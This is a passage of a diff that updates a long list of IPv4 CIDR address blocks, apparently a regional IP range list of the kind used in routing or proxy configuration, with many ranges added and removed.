+59.152.32.0/21 +59.152.64.0/20 +59.152.112.0/21 +59.153.4.0/22 59.153.32.0/22 +59.153.60.0/22 +59.153.64.0/21 +59.153.72.0/22 59.153.92.0/22 +59.153.136.0/22 +59.153.152.0/22 59.153.164.0/22 -59.153.168.0/24 +59.153.168.0/22 +59.153.173.0/24 +59.153.174.0/23 +59.153.176.0/20 +59.153.192.0/22 +59.155.0.0/16 59.172.0.0/14 -59.252.0.0/16 +59.191.0.0/17 +59.192.0.0/10 60.0.0.0/11 +60.55.0.0/16 60.63.0.0/16 60.160.0.0/11 60.194.0.0/15 -60.200.0.0/24 -60.204.0.0/14 +60.200.0.0/13 60.208.0.0/12 -60.232.0.0/16 +60.232.0.0/15 60.235.0.0/16 60.245.128.0/17 60.247.0.0/16 60.252.0.0/16 60.253.128.0/17 60.255.0.0/16 -61.4.80.0/23 -61.28.20.0/24 -61.28.22.0/24 -61.28.49.0/24 -61.28.108.0/24 -61.28.112.0/20 -61.29.161.0/24 +61.4.80.0/20 +61.4.176.0/20 +61.8.160.0/20 +61.14.212.0/22 +61.14.216.0/21 +61.14.240.0/21 +61.28.0.0/17 +61.29.128.0/18 +61.29.192.0/19 +61.29.224.0/20 +61.29.251.0/24 +61.45.128.0/18 +61.45.224.0/20 61.47.128.0/18 61.48.0.0/13 61.87.192.0/18 -61.114.80.0/20 -61.128.0.0/10 +61.128.0.0/11 +61.160.0.0/12 +61.176.0.0/13 +61.184.0.0/15 +61.186.0.0/23 +61.186.3.0/24 +61.186.4.0/22 +61.186.8.0/21 +61.186.16.0/20 +61.186.32.0/19 +61.186.64.0/18 +61.186.128.0/17 +61.187.0.0/16 +61.188.0.0/14 61.232.0.0/14 -61.237.0.0/16 +61.236.0.0/15 61.240.0.0/14 62.234.0.0/16 63.140.0.0/24 63.140.3.0/24 -64.188.38.0/23 -64.188.40.0/22 -64.188.44.0/24 66.102.240.0/21 -66.102.248.0/22 +66.102.248.0/23 +66.102.251.0/24 66.102.252.0/24 66.102.254.0/23 68.79.0.0/18 @@ -660,940 +991,2127 @@ 71.132.0.0/18 71.136.64.0/18 71.137.0.0/18 -72.163.240.0/23 -72.163.248.0/22 -74.114.51.0/24 -74.214.161.0/24 -77.73.8.0/24 -81.23.208.0/20 +74.122.26.0/23 81.68.0.0/14 81.173.18.0/23 81.173.20.0/22 81.173.28.0/24 82.156.0.0/15 -87.232.115.0/24 -87.254.207.0/24 -93.183.14.0/24 -93.183.18.0/24 94.191.0.0/17 +101.0.0.0/22 101.1.0.0/22 101.2.172.0/22 101.4.0.0/14 101.16.0.0/12 101.33.128.0/17 101.34.0.0/15 +101.36.0.0/18 101.36.64.0/20 +101.36.82.0/23 +101.36.84.0/22 +101.36.88.0/21 101.36.128.0/17 101.37.0.0/16 -101.39.0.0/16 -101.40.0.0/16 -101.42.0.0/15 -101.49.148.0/23 -101.49.206.0/23 -101.49.208.0/24 -101.49.212.0/24 +101.38.0.0/15 +101.40.0.0/14 +101.48.0.0/15 101.50.8.0/21 101.50.56.0/22 -101.52.4.0/24 -101.52.6.0/24 -101.52.68.0/23 -101.52.112.0/21 -101.52.124.0/22 -101.52.128.0/20 -101.52.204.0/22 -101.52.212.0/22 -101.52.216.0/21 -101.52.232.0/23 -101.52.236.0/22 -101.52.240.0/20 +101.52.0.0/16 101.53.100.0/22 +101.54.0.0/16 +101.55.224.0/21 101.64.0.0/13 101.72.0.0/14 101.76.0.0/15 101.78.0.0/22 +101.78.32.0/19 101.80.0.0/12 -101.96.10.0/23 -101.96.128.0/23 -101.96.130.0/24 -101.96.132.0/23 -101.96.134.0/24 -101.96.142.0/23 -101.96.144.0/20 -101.96.192.0/18 -101.104.144.0/20 -101.104.160.0/20 -101.106.0.0/19 -101.124.0.0/20 -101.124.19.0/24 -101.124.22.0/24 -101.124.24.0/21 -101.124.62.0/24 -101.125.0.0/22 -101.125.4.0/23 -101.125.6.0/24 -101.125.130.0/24 -101.125.250.0/23 -101.125.252.0/22 -101.126.0.0/18 -101.126.64.0/19 -101.126.96.0/20 -101.126.128.0/19 -101.126.172.0/22 -101.126.176.0/20 -101.126.192.0/19 -101.126.228.0/22 -101.126.232.0/21 -101.126.240.0/20 +101.96.0.0/21 +101.96.8.0/22 +101.96.16.0/20 +101.96.128.0/17 +101.99.96.0/19 +101.101.64.0/19 +101.101.100.0/24 +101.101.102.0/23 +101.101.104.0/21 +101.101.112.0/20 +101.102.64.0/19 +101.102.100.0/23 +101.102.102.0/24 +101.102.104.0/21 +101.102.112.0/20 +101.104.0.0/14 +101.110.64.0/19 +101.110.96.0/20 +101.110.116.0/22 +101.110.120.0/21 +101.120.0.0/14 +101.124.0.0/15 +101.126.0.0/16 101.128.0.0/22 +101.128.8.0/21 +101.128.16.0/20 +101.128.32.0/19 101.129.0.0/16 -101.132.0.0/15 -101.198.0.0/22 -101.198.4.0/24 -101.198.196.0/22 -101.199.48.0/20 -101.199.112.0/24 -101.199.128.0/23 -101.199.196.0/22 -101.199.252.0/22 +101.130.0.0/15 +101.132.0.0/14 +101.144.0.0/12 +101.192.0.0/18 +101.192.68.0/22 +101.192.84.0/22 +101.192.88.0/21 +101.192.132.0/22 +101.192.164.0/22 +101.192.168.0/21 +101.192.176.0/20 +101.192.192.0/19 +101.193.0.0/18 +101.193.100.0/22 +101.193.108.0/22 +101.193.112.0/22 +101.193.120.0/21 +101.193.132.0/22 +101.193.164.0/22 +101.193.168.0/21 +101.193.176.0/20 +101.193.192.0/19 +101.194.0.0/15 +101.196.0.0/14 101.200.0.0/15 +101.203.128.0/19 +101.203.160.0/21 101.203.172.0/22 +101.203.176.0/20 101.204.0.0/14 101.224.0.0/13 +101.232.0.0/17 +101.232.128.0/18 +101.232.200.0/21 +101.232.212.0/22 +101.232.220.0/22 +101.232.224.0/22 +101.232.232.0/21 +101.232.240.0/22 +101.233.0.0/16 +101.234.64.0/21 101.234.76.0/22 -101.236.0.0/18 -101.236.64.0/20 -101.236.128.0/17 -101.237.0.0/19 -101.237.33.0/24 -101.237.34.0/23 -101.237.36.0/22 -101.237.40.0/24 -101.237.128.0/20 -101.240.0.0/14 -101.245.0.0/17 -101.245.128.0/19 -101.245.160.0/20 -101.245.176.0/22 -101.246.172.0/22 -101.246.176.0/20 +101.234.80.0/20 +101.234.96.0/19 +101.236.0.0/16 +101.237.0.0/17 +101.237.128.0/18 +101.237.192.0/19 +101.237.224.0/22 +101.237.228.0/24 +101.237.230.0/23 +101.237.243.0/24 +101.237.244.0/23 +101.237.246.0/24 +101.237.250.0/24 +101.237.253.0/24 +101.238.0.0/15 +101.240.0.0/13 101.248.0.0/15 101.251.0.0/22 -101.251.80.0/20 -101.251.128.0/19 -101.251.160.0/20 -101.251.176.0/22 -101.251.192.0/18 +101.251.8.0/21 +101.251.16.0/20 +101.251.32.0/19 +101.251.64.0/18 +101.251.128.0/17 101.252.0.0/15 -101.254.0.0/20 -101.254.32.0/19 -101.254.64.0/18 -101.254.128.0/17 -102.141.200.0/24 -102.220.90.0/24 +101.254.0.0/16 103.1.8.0/22 103.1.20.0/22 +103.1.24.0/22 +103.1.72.0/22 +103.1.88.0/22 103.1.168.0/22 103.2.108.0/22 -103.2.208.0/22 -103.3.96.0/22 -103.3.112.0/20 -103.3.128.0/22 -103.3.136.0/21 +103.2.156.0/22 +103.2.164.0/22 +103.2.188.0/23 +103.2.200.0/21 +103.2.208.0/21 +103.3.84.0/22 +103.3.88.0/21 +103.3.96.0/19 +103.3.128.0/20 +103.3.148.0/22 103.3.152.0/21 -103.5.52.0/24 +103.4.56.0/22 +103.4.168.0/22 +103.4.184.0/22 +103.4.224.0/22 +103.5.36.0/22 +103.5.52.0/22 +103.5.56.0/22 +103.5.152.0/22 +103.5.168.0/22 103.5.192.0/23 103.5.194.0/24 +103.5.252.0/22 +103.6.76.0/22 103.6.220.0/22 103.7.140.0/22 +103.7.212.0/22 +103.7.216.0/21 +103.8.0.0/21 +103.8.8.0/22 103.8.32.0/22 103.8.52.0/22 103.8.68.0/22 +103.8.108.0/22 +103.8.156.0/22 +103.8.200.0/21 103.8.220.0/22 103.9.8.0/22 -103.9.252.0/22 +103.9.24.0/22 +103.9.108.0/22 +103.9.152.0/22 +103.9.248.0/21 103.10.0.0/22 +103.10.16.0/22 103.10.84.0/22 +103.10.140.0/22 +103.11.16.0/22 +103.11.168.0/22 +103.11.180.0/22 +103.12.32.0/22 +103.12.92.0/22 103.12.98.0/23 +103.12.136.0/22 103.12.184.0/22 103.12.232.0/22 +103.13.12.0/22 +103.13.124.0/22 +103.13.196.0/22 103.13.244.0/22 +103.14.84.0/22 103.14.132.0/22 103.14.136.0/22 +103.14.156.0/22 +103.14.240.0/22 103.15.4.0/22 +103.15.8.0/22 +103.15.16.0/22 +103.15.96.0/22 +103.15.200.0/22 +103.16.52.0/22 +103.16.80.0/21 +103.16.88.0/22 +103.16.108.0/22 103.16.124.0/22 103.17.40.0/22 +103.17.64.0/22 +103.17.120.0/22 +103.17.136.0/22 +103.17.160.0/22 +103.17.204.0/22 103.17.228.0/22 -103.19.46.0/23 -103.19.64.0/22 +103.18.186.0/23 +103.18.192.0/22 +103.18.208.0/21 +103.18.224.0/22 +103.19.12.0/22 +103.19.40.0/21 +103.19.64.0/21 +103.19.72.0/22 103.19.232.0/22 -103.20.32.0/22 +103.20.12.0/22 +103.20.32.0/24 +103.20.34.0/23 +103.20.46.0/24 +103.20.68.0/22 103.20.112.0/22 103.20.128.0/22 103.20.160.0/22 103.20.248.0/22 -103.21.116.0/22 +103.21.98.0/23 +103.21.102.0/23 +103.21.112.0/21 103.21.140.0/22 103.21.176.0/22 +103.22.0.0/18 +103.22.64.0/19 +103.22.100.0/22 +103.22.104.0/21 +103.22.112.0/20 103.22.188.0/22 +103.22.228.0/22 103.22.252.0/22 103.23.8.0/22 -103.23.160.0/22 +103.23.56.0/22 +103.23.160.0/21 +103.23.176.0/22 +103.23.228.0/22 +103.24.24.0/22 103.24.116.0/22 +103.24.128.0/22 +103.24.144.0/22 103.24.176.0/22 +103.24.184.0/22 +103.24.220.0/22 103.24.228.0/22 -103.24.248.0/22 +103.24.252.0/22 +103.25.9.0/24 103.25.20.0/22 -103.25.24.0/22 -103.25.36.0/22 -103.25.64.0/23 -103.25.156.0/24 +103.25.24.0/21 +103.25.32.0/21 +103.25.40.0/22 +103.25.48.0/22 +103.25.64.0/21 +103.25.148.0/22 +103.25.156.0/22 +103.25.216.0/22 103.26.0.0/22 103.26.64.0/22 103.26.76.0/22 +103.26.132.0/22 +103.26.156.0/22 +103.26.160.0/22 +103.26.228.0/22 +103.26.240.0/22 103.27.4.0/22 +103.27.12.0/22 103.27.24.0/22 +103.27.56.0/22 +103.27.96.0/22 +103.27.212.0/22 103.27.240.0/22 -103.28.8.0/24 -103.28.147.0/24 +103.28.4.0/22 +103.28.8.0/22 +103.28.184.0/22 103.28.204.0/22 103.28.212.0/22 103.29.16.0/22 103.29.24.0/23 +103.29.128.0/21 103.29.136.0/22 -103.30.51.0/24 -103.30.148.0/24 -103.30.151.0/24 -103.31.48.0/22 +103.29.236.0/23 +103.30.20.0/22 +103.30.96.0/22 +103.30.104.0/22 +103.30.148.0/22 +103.30.228.0/22 +103.30.236.0/22 +103.31.0.0/22 +103.31.48.0/20 +103.31.64.0/21 +103.31.148.0/22 +103.31.160.0/22 +103.31.168.0/22 103.31.200.0/22 +103.31.242.0/23 +103.32.0.0/15 +103.34.0.0/16 +103.35.0.0/19 +103.35.32.0/20 +103.35.48.0/22 103.35.104.0/22 -103.35.254.0/24 +103.35.117.0/24 +103.35.119.0/24 +103.35.180.0/23 +103.35.220.0/22 +103.36.28.0/22 103.36.36.0/22 -103.36.63.0/24 +103.36.56.0/21 +103.36.64.0/22 +103.36.72.0/22 103.36.96.0/22 103.36.132.0/22 103.36.136.0/22 -103.36.165.0/24 -103.36.168.0/24 -103.36.172.0/22 -103.36.192.0/20 -103.36.208.0/22 -103.36.220.0/22 -103.37.4.0/24 +103.36.160.0/20 +103.36.192.0/19 +103.36.224.0/20 +103.36.240.0/21 103.37.12.0/22 -103.37.18.0/23 -103.37.44.0/23 -103.37.46.0/24 +103.37.16.0/22 +103.37.24.0/22 +103.37.44.0/22 +103.37.52.0/22 +103.37.56.0/22 103.37.72.0/22 103.37.100.0/22 +103.37.104.0/22 103.37.136.0/21 103.37.144.0/20 103.37.160.0/21 103.37.172.0/22 -103.38.40.0/22 -103.38.76.0/24 -103.38.92.0/23 +103.37.176.0/22 +103.37.188.0/22 +103.37.208.0/20 +103.37.252.0/22 +103.38.0.0/22 +103.38.32.0/22 +103.38.40.0/21 +103.38.56.0/22 +103.38.76.0/22 +103.38.84.0/22 +103.38.92.0/22 +103.38.96.0/22 103.38.116.0/22 -103.38.224.0/22 +103.38.132.0/22 +103.38.140.0/22 +103.38.224.0/21 103.38.232.0/22 103.38.252.0/23 103.39.64.0/22 +103.39.88.0/22 +103.39.100.0/22 +103.39.104.0/22 +103.39.160.0/19 103.39.200.0/21 103.39.208.0/20 103.39.224.0/21 103.39.232.0/22 103.40.12.0/22 +103.40.16.0/20 +103.40.32.0/20 +103.40.88.0/22 +103.40.158.0/23 103.40.173.0/24 103.40.174.0/23 103.40.192.0/22 -103.40.232.0/22 +103.40.212.0/22 +103.40.220.0/22 +103.40.228.0/22 +103.40.232.0/21 103.40.240.0/20 103.41.0.0/22 +103.41.52.0/22 103.41.116.0/22 -103.41.164.0/22 -103.41.232.0/23 +103.41.140.0/22 +103.41.148.0/22 +103.41.152.0/22 +103.41.160.0/21 +103.41.220.0/22 +103.41.224.0/21 +103.41.232.0/22 +103.42.8.0/22 +103.42.24.0/22 +103.42.32.0/22 +103.42.64.0/21 103.42.76.0/22 -103.43.134.0/23 -103.43.184.0/21 -103.43.240.0/23 -103.44.58.0/23 +103.42.232.0/22 +103.43.96.0/21 +103.43.104.0/22 +103.43.124.0/22 +103.43.132.0/22 +103.43.184.0/22 +103.43.192.0/21 +103.43.208.0/22 +103.43.220.0/22 +103.43.224.0/22 +103.43.240.0/22 +103.44.56.0/22 103.44.80.0/22 +103.44.120.0/21 103.44.144.0/22 103.44.168.0/22 +103.44.176.0/20 +103.44.192.0/22 +103.44.196.0/23 +103.44.199.0/24 +103.44.200.0/21 +103.44.224.0/22 103.44.236.0/22 103.44.240.0/20 +103.45.0.0/18 103.45.72.0/21 -103.45.128.0/19 -103.45.160.0/22 -103.45.168.0/23 -103.45.172.0/22 -103.45.176.0/20 +103.45.80.0/20 +103.45.96.0/19 +103.45.128.0/18 +103.45.192.0/19 +103.45.224.0/22 103.45.248.0/22 +103.46.0.0/22 103.46.12.0/22 103.46.16.0/20 103.46.32.0/19 103.46.64.0/18 103.46.128.0/21 103.46.136.0/22 -103.46.168.0/22 +103.46.152.0/21 +103.46.160.0/20 +103.46.176.0/21 +103.46.244.0/22 +103.46.248.0/22 +103.47.4.0/22 +103.47.20.0/22 +103.47.36.0/22 +103.47.40.0/22 103.47.48.0/22 103.47.80.0/22 +103.47.96.0/22 +103.47.108.0/22 +103.47.116.0/22 +103.47.120.0/22 +103.47.136.0/21 +103.47.212.0/22 +103.48.52.0/22 +103.48.92.0/22 +103.48.148.0/22 +103.48.152.0/21 +103.48.202.0/23 +103.48.216.0/21 +103.48.224.0/20 +103.48.240.0/21 103.49.12.0/22 +103.49.20.0/22 +103.49.72.0/21 +103.49.96.0/22 103.49.108.0/22 -103.49.176.0/24 -103.50.91.0/24 -103.52.100.0/22 +103.49.176.0/21 +103.49.197.0/24 +103.50.36.0/22 +103.50.44.0/22 +103.50.48.0/20 +103.50.64.0/21 +103.50.72.0/22 +103.50.108.0/22 +103.50.112.0/20 +103.50.132.0/22 +103.50.136.0/21 +103.50.172.0/22 +103.50.176.0/20 +103.50.192.0/21 +103.50.200.0/22 +103.50.220.0/22 +103.50.224.0/20 +103.50.240.0/21 +103.50.248.0/22 +103.52.40.0/22 +103.52.72.0/21 +103.52.80.0/21 +103.52.96.0/21 +103.52.104.0/22 +103.52.160.0/21 103.52.172.0/22 103.52.176.0/22 +103.52.184.0/22 103.52.196.0/22 +103.53.64.0/21 +103.53.92.0/22 +103.53.100.0/22 103.53.124.0/22 -103.53.208.0/24 -103.53.211.0/24 +103.53.128.0/20 +103.53.144.0/22 +103.53.180.0/22 +103.53.204.0/22 +103.53.208.0/21 +103.53.236.0/22 +103.53.248.0/22 +103.54.8.0/22 +103.54.48.0/22 +103.54.160.0/21 +103.54.212.0/22 +103.54.240.0/22 +103.55.80.0/22 +103.55.120.0/22 +103.55.152.0/22 103.55.172.0/22 +103.55.204.0/22 +103.55.208.0/22 103.55.228.0/22 -103.56.60.0/22 -103.56.76.0/22 +103.55.236.0/22 +103.56.20.0/22 +103.56.32.0/22 +103.56.56.0/21 +103.56.72.0/21 +103.56.94.0/23 103.56.100.0/22 103.56.104.0/22 +103.56.140.0/22 103.56.152.0/22 +103.56.184.0/22 +103.56.200.0/22 103.57.12.0/22 -103.57.136.0/23 -103.57.139.0/24 -103.57.203.0/24 -103.59.112.0/22 +103.57.52.0/22 +103.57.56.0/22 +103.57.76.0/22 +103.57.136.0/22 +103.57.196.0/22 +103.58.24.0/22 +103.59.76.0/22 +103.59.112.0/21 +103.59.120.0/23 103.59.124.0/22 -103.59.148.0/23 -103.59.151.0/24 +103.59.128.0/22 +103.59.148.0/22 +103.59.164.0/22 103.59.168.0/23 -103.60.32.0/22 +103.60.44.0/22 103.60.164.0/22 -103.60.228.0/23 +103.60.228.0/22 103.60.236.0/22 103.61.60.0/22 -103.61.104.0/23 -103.61.153.0/24 -103.61.154.0/23 +103.61.104.0/22 +103.61.140.0/22 +103.61.152.0/21 +103.61.160.0/22 +103.61.172.0/22 +103.61.176.0/22 103.61.188.0/22 -103.62.88.0/23 +103.62.24.0/22 +103.62.53.0/24 +103.62.55.0/24 +103.62.72.0/21 +103.62.80.0/21 +103.62.88.0/22 +103.62.96.0/19 +103.62.128.0/21 +103.62.156.0/22 +103.62.160.0/19 +103.62.192.0/22 +103.62.204.0/22 +103.62.208.0/20 +103.62.224.0/22 +103.63.32.0/19 +103.63.64.0/20 +103.63.80.0/21 +103.63.88.0/22 +103.63.140.0/22 +103.63.144.0/22 +103.63.152.0/22 103.63.160.0/20 103.63.176.0/21 -103.63.244.0/22 +103.63.184.0/22 +103.63.192.0/20 +103.63.208.0/22 +103.63.240.0/20 +103.64.0.0/21 103.64.24.0/21 +103.64.32.0/19 +103.64.64.0/18 103.64.140.0/22 103.64.144.0/22 103.64.152.0/21 -103.64.208.0/21 -103.65.8.0/22 +103.64.160.0/19 +103.64.192.0/18 +103.65.0.0/20 +103.65.16.0/22 +103.65.48.0/20 +103.65.64.0/19 +103.65.100.0/22 +103.65.104.0/21 +103.65.112.0/22 +103.65.144.0/20 +103.65.160.0/20 +103.65.204.0/22 103.65.224.0/23 103.66.32.0/22 +103.66.40.0/22 +103.66.108.0/22 +103.66.200.0/22 +103.66.240.0/20 +103.67.0.0/21 +103.67.8.0/22 +103.67.100.0/22 +103.67.104.0/21 +103.67.112.0/20 +103.67.128.0/20 +103.67.144.0/21 +103.67.172.0/22 +103.67.192.0/22 +103.67.212.0/22 +103.67.252.0/22 +103.68.64.0/22 +103.68.88.0/22 +103.68.100.0/22 103.68.128.0/22 103.69.16.0/22 +103.69.62.0/23 103.70.8.0/22 +103.70.14.0/23 +103.70.148.0/22 +103.70.224.0/23 +103.70.227.0/24 +103.70.236.0/22 +103.70.252.0/22 +103.71.0.0/22 103.71.68.0/22 -103.71.200.0/23 -103.71.202.0/24 +103.71.72.0/22 +103.71.80.0/21 +103.71.88.0/22 +103.71.120.0/21 +103.71.128.0/22 +103.71.144.0/22 +103.71.196.0/22 +103.71.200.0/22 103.71.232.0/22 -103.72.113.0/24 -103.72.172.0/24 -103.73.48.0/24 +103.72.12.0/22 +103.72.16.0/20 +103.72.32.0/20 +103.72.48.0/21 +103.72.112.0/21 +103.72.124.0/22 +103.72.128.0/21 +103.72.172.0/22 +103.72.180.0/22 +103.72.224.0/21 +103.72.233.0/24 +103.72.234.0/23 +103.72.236.0/22 +103.72.240.0/20 +103.73.0.0/19 +103.73.48.0/22 103.73.116.0/22 -103.73.136.0/21 +103.73.120.0/22 +103.73.128.0/20 103.73.144.0/22 +103.73.168.0/22 +103.73.176.0/22 103.73.204.0/22 +103.73.208.0/22 +103.73.244.0/22 +103.73.248.0/22 103.74.24.0/21 +103.74.32.0/20 103.74.48.0/22 +103.74.56.0/21 103.74.80.0/22 -103.75.104.0/22 +103.74.148.0/22 +103.74.152.0/21 +103.74.204.0/22 +103.74.232.0/22 +103.75.82.0/23 +103.75.88.0/21 +103.75.104.0/21 +103.75.112.0/22 +103.75.120.0/22 +103.75.128.0/22 +103.75.144.0/22 103.75.152.0/22 103.76.60.0/22 -103.76.220.0/22 +103.76.64.0/21 +103.76.72.0/22 +103.76.92.0/22 +103.76.216.0/21 103.76.224.0/22 103.77.28.0/22 +103.77.52.0/22 +103.77.56.0/22 +103.77.88.0/22 103.77.132.0/22 -103.78.60.0/22 -103.78.126.0/23 +103.77.148.0/22 +103.77.220.0/22 +103.78.56.0/21 +103.78.64.0/21 +103.78.124.0/22 +103.78.172.0/22 +103.78.176.0/22 +103.78.196.0/22 103.78.228.0/22 -103.79.24.0/22 -103.79.200.0/22 +103.79.24.0/21 +103.79.36.0/22 +103.79.40.0/21 +103.79.56.0/21 +103.79.64.0/21 +103.79.80.0/21 +103.79.136.0/22 +103.79.188.0/22 +103.79.192.0/20 +103.79.208.0/21 103.79.228.0/23 +103.80.44.0/22 +103.80.72.0/22 +103.80.176.0/21 +103.80.184.0/22 +103.80.192.0/22 +103.80.200.0/22 +103.80.232.0/22 103.81.4.0/22 +103.81.8.0/22 +103.81.16.0/21 +103.81.44.0/22 103.81.48.0/22 -103.81.72.0/22 -103.81.123.0/24 +103.81.96.0/22 +103.81.120.0/22 +103.81.148.0/22 +103.81.164.0/22 +103.81.184.0/23 103.81.200.0/22 +103.81.232.0/22 +103.82.60.0/22 +103.82.68.0/22 +103.82.84.0/22 +103.82.104.0/22 103.82.224.0/22 +103.82.236.0/22 103.83.44.0/22 +103.83.52.0/22 +103.83.60.0/22 103.83.64.0/22 103.83.72.0/22 +103.83.112.0/22 +103.84.0.0/22 +103.84.12.0/22 +103.84.16.0/20 +103.84.48.0/22 +103.84.64.0/22 +103.84.72.0/22 +103.84.170.0/23 +103.85.44.0/22 +103.85.48.0/22 103.85.84.0/22 -103.85.147.0/24 +103.85.136.0/22 +103.85.144.0/22 103.85.164.0/22 103.85.168.0/21 103.85.176.0/22 +103.85.186.0/23 +103.86.28.0/22 +103.86.32.0/22 +103.86.60.0/22 +103.86.204.0/22 +103.86.208.0/20 +103.86.224.0/19 +103.87.0.0/21 +103.87.20.0/22 +103.87.32.0/22 +103.87.96.0/22 +103.87.132.0/22 103.87.180.0/22 +103.87.224.0/22 +103.88.4.0/22 +103.88.8.0/21 +103.88.16.0/21 103.88.32.0/21 +103.88.60.0/22 103.88.64.0/22 +103.88.72.0/22 103.88.96.0/22 +103.88.164.0/22 +103.88.212.0/22 +103.89.28.0/22 +103.89.96.0/20 +103.89.112.0/21 +103.89.148.0/22 +103.89.172.0/22 103.89.184.0/21 103.89.192.0/19 103.89.224.0/21 +103.90.52.0/22 103.90.56.0/23 103.90.92.0/22 +103.90.100.0/22 +103.90.104.0/21 +103.90.112.0/20 +103.90.128.0/21 103.90.152.0/22 +103.90.168.0/22 103.90.176.0/22 103.90.188.0/22 +103.90.192.0/22 +103.91.36.0/22 +103.91.40.0/22 +103.91.108.0/22 +103.91.112.0/23 +103.91.138.0/23 +103.91.152.0/22 103.91.176.0/22 -103.91.208.0/22 +103.91.200.0/22 +103.91.208.0/21 +103.91.236.0/22 +103.91.252.0/22 +103.92.0.0/20 +103.92.48.0/20 +103.92.64.0/20 +103.92.80.0/22 +103.92.86.0/24 103.92.88.0/22 +103.92.108.0/22 +103.92.124.0/22 +103.92.132.0/22 +103.92.156.0/22 +103.92.164.0/22 +103.92.168.0/21 +103.92.176.0/20 +103.92.192.0/22 +103.92.236.0/22 +103.92.240.0/20 +103.93.0.0/21 +103.93.28.0/22 +103.93.84.0/22 +103.93.142.0/23 +103.93.152.0/22 103.93.180.0/22 103.93.204.0/22 103.94.12.0/22 +103.94.20.0/22 +103.94.32.0/20 +103.94.72.0/22 +103.94.88.0/22 +103.94.116.0/22 +103.94.160.0/22 103.94.200.0/22 +103.95.52.0/22 103.95.68.0/22 -103.95.252.0/22 +103.95.88.0/21 +103.95.128.0/22 +103.95.136.0/21 +103.95.144.0/22 +103.95.152.0/22 +103.95.216.0/21 +103.95.236.0/22 +103.95.240.0/20 103.96.8.0/22 -103.96.148.0/22 -103.96.214.0/23 +103.96.124.0/22 +103.96.136.0/22 +103.96.152.0/21 +103.96.160.0/19 +103.96.192.0/20 +103.96.208.0/21 +103.96.216.0/22 103.96.224.0/23 -103.97.60.0/24 -103.97.112.0/23 -103.97.144.0/22 -103.98.44.0/22 -103.98.92.0/22 -103.98.96.0/22 -103.98.125.0/24 -103.98.127.0/24 -103.98.220.0/22 -103.98.248.0/23 -103.98.252.0/22 +103.97.8.0/21 +103.97.16.0/20 +103.97.36.0/22 +103.97.40.0/22 +103.97.56.0/22 +103.97.60.0/23 +103.97.64.0/21 +103.97.72.0/22 +103.97.112.0/21 +103.97.144.0/21 +103.97.188.0/22 +103.97.192.0/22 +103.97.229.0/24 +103.98.0.0/23 +103.98.40.0/21 +103.98.48.0/22 +103.98.56.0/22 +103.98.80.0/22 +103.98.88.0/21 +103.98.96.0/21 +103.98.124.0/22 +103.98.136.0/21 +103.98.144.0/22 +103.98.164.0/22 +103.98.168.0/22 +103.98.180.0/22 +103.98.196.0/22 +103.98.216.0/21 +103.98.224.0/21 +103.98.232.0/22 +103.98.240.0/20 +103.99.53.0/24 +103.99.54.0/23 +103.99.56.0/22 103.99.104.0/22 -103.99.178.0/24 +103.99.116.0/22 +103.99.120.0/22 +103.99.152.0/22 +103.99.220.0/22 +103.99.232.0/21 +103.100.0.0/22 +103.100.32.0/22 +103.100.40.0/22 +103.100.48.0/21 +103.100.56.0/22 +103.100.62.0/24 103.100.64.0/22 -103.101.124.0/23 +103.100.88.0/22 +103.100.116.0/22 +103.100.144.0/22 +103.100.236.0/22 +103.100.240.0/22 +103.100.248.0/21 +103.101.8.0/21 +103.101.60.0/22 +103.101.120.0/21 +103.101.144.0/21 103.101.180.0/22 -103.102.196.0/24 +103.101.184.0/22 +103.102.76.0/22 +103.102.80.0/22 +103.102.168.0/21 +103.102.180.0/22 +103.102.184.0/21 +103.102.192.0/21 103.102.200.0/22 -103.102.213.0/24 -103.102.214.0/24 -103.103.12.0/24 -103.103.36.0/24 +103.102.208.0/21 +103.103.12.0/22 +103.103.16.0/22 +103.103.36.0/22 +103.103.72.0/22 +103.103.188.0/22 +103.103.200.0/21 +103.103.220.0/22 +103.103.224.0/21 +103.103.232.0/22 +103.103.248.0/21 +103.104.0.0/21 +103.104.36.0/22 +103.104.40.0/22 +103.104.64.0/22 +103.104.104.0/22 +103.104.152.0/22 +103.104.188.0/22 103.104.252.0/22 -103.105.0.0/22 +103.105.0.0/21 103.105.12.0/22 +103.105.16.0/22 103.105.60.0/22 +103.105.116.0/22 +103.105.133.0/24 +103.105.134.0/23 103.105.180.0/22 103.105.184.0/22 -103.105.200.0/23 -103.105.202.0/24 +103.105.200.0/21 103.105.220.0/22 103.106.36.0/22 +103.106.40.0/21 +103.106.60.0/22 +103.106.68.0/22 +103.106.96.0/22 +103.106.120.0/22 +103.106.128.0/21 +103.106.160.0/22 +103.106.196.0/22 +103.106.202.0/24 +103.106.212.0/22 103.106.252.0/22 103.107.0.0/22 -103.107.216.0/21 -103.108.244.0/24 -103.108.247.0/24 +103.107.28.0/22 +103.107.32.0/22 +103.107.44.0/22 +103.107.72.0/22 +103.107.108.0/22 +103.107.164.0/22 +103.107.168.0/22 +103.107.188.0/22 +103.107.192.0/22 +103.107.208.0/20 +103.108.52.0/22 +103.108.160.0/21 +103.108.196.0/22 +103.108.208.0/21 +103.108.224.0/22 +103.108.244.0/22 103.109.20.0/22 +103.109.48.0/22 +103.109.88.0/22 +103.109.248.0/22 +103.110.92.0/22 +103.110.116.0/22 103.110.132.0/22 103.110.136.0/22 -103.111.64.0/24 +103.110.152.0/21 +103.110.188.0/22 +103.110.204.0/22 +103.111.64.0/22 103.111.172.0/22 +103.111.252.0/22 +103.112.72.0/22 +103.112.88.0/21 +103.112.108.0/22 +103.112.112.0/21 +103.112.140.0/22 103.113.4.0/22 +103.113.144.0/22 +103.113.220.0/22 +103.113.232.0/21 +103.114.4.0/22 +103.114.28.0/22 +103.114.68.0/22 103.114.100.0/22 -103.114.212.0/23 +103.114.148.0/22 +103.114.156.0/23 +103.114.176.0/22 +103.114.212.0/22 103.114.236.0/22 +103.114.240.0/22 +103.115.52.0/22 +103.115.68.0/22 103.115.92.0/22 103.115.120.0/22 +103.115.148.0/22 103.115.248.0/22 -103.116.76.0/23 -103.116.78.0/24 +103.116.40.0/22 +103.116.76.0/22 103.116.92.0/22 -103.116.120.0/23 -103.116.123.0/24 +103.116.120.0/22 +103.116.128.0/22 103.116.138.0/23 +103.116.150.0/24 +103.116.184.0/22 +103.116.220.0/22 +103.116.224.0/21 103.117.16.0/22 +103.117.73.0/24 +103.117.74.0/23 +103.117.88.0/22 +103.117.188.0/22 103.117.220.0/22 103.118.52.0/22 -103.118.60.0/22 -103.118.173.0/24 +103.118.56.0/21 +103.118.64.0/21 +103.118.72.0/22 +103.118.88.0/22 +103.118.210.0/23 +103.118.212.0/22 +103.118.216.0/22 +103.118.248.0/22 